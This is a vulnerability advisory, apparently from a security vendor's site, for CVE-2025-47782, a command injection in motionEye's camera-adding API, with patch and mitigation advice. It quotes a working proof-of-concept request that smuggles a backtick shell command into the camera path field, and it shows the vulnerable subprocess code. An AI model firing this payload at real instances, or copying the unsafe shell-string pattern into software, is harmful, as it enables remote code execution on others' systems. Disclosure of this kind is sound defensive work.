CVE-2025-47782 — motioneye
Fix: motioneye-project/motioneye#3143CVE-2025-47782 is a OS Command Injection vulnerability in motioneye. A fix is available for motioneye — see the affected versions and patch details below.
motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-47782.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
motioneyeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.
function call stack
postadd_cameraconfig.add_camerav4l2ctl.list_resolutionsutils.call_subprocesssubprocess.run
PoC
build
RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"
docker build \
--network host \
--build-arg="RUN_UID=${RUN_UID?}" \
--build-arg="RUN_GID=${RUN_GID?}" \
-t "${USER?}/motioneye:${TIMESTAMP}" \
--no-cache \
-f docker/Dockerfile .
reproduce
Run:
docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye
bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
INFO: hello! this is motionEye server 0.43.1b3
DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
DEBUG: listing config dir /etc/motioneye...
DEBUG: found camera with id 1
DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
DEBUG: loading additional config structure for camera, without separators
DEBUG: Using selector: EpollSelector
DEBUG: searching motion executable
DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
INFO: cleanup started
INFO: wsswitch started
INFO: tasks started
INFO: mjpg customer garbage collector has started
INFO: server started
Now, run the following script to attack motionEye:
import requests
import json
url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"
payload = json.dumps({
"proto": "v4l2",
"path": "' `touch /tmp/bbbb` '"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
<img width="1187" alt="Image" src="https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62" />
<img width="324" alt="Image" src="https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e" />
Discussion
It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability
def list_resolutions(device):
from motioneye import motionctl
device = utils.make_str(device)
if device in _resolutions_cache:
return _resolutions_cache[device]
logging.debug(f'listing resolutions of device {device}...')
resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')
try:
output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
logging.error(f'failed to list resolutions of device "{device}"')
output = utils.make_str(output)
def call_subprocess(
args,
stdin=None,
input=None,
stdout=subprocess.PIPE,
stderr=DEV_NULL,
capture_output=False,
shell=False,
cwd=None,
timeout=None,
check=True,
encoding='utf-8',
errors=None,
text=None,
env=None,
) -> str:
"""subprocess.run wrapper to return output as a decoded string"""
return subprocess.run(
args,
stdin=stdin,
input=input,
stdout=stdout,
stderr=stderr,
capture_output=capture_output,
shell=shell,
cwd=cwd,
timeout=timeout,
check=check,
encoding=encoding,
errors=errors,
text=text,
env=env,
).stdout.strip()
Impact
RCE
Patches
The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143
Workarounds
Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch
References
https://github.com/motioneye-project/motioneye/issues/3142
Credit
The vulnerability was discovered by Tencent YunDing Security Lab.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | motioneye | ≥ 0.43.1b1&&< 0.43.1b4 | 0.43.1b4pip install --upgrade 'motioneye==0.43.1b4' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for motioneye, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update motioneye to 0.43.1b4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-47782 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-47782 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-47782. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-47782 in your dependencies?
O3 Security finds CVE-2025-47782 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.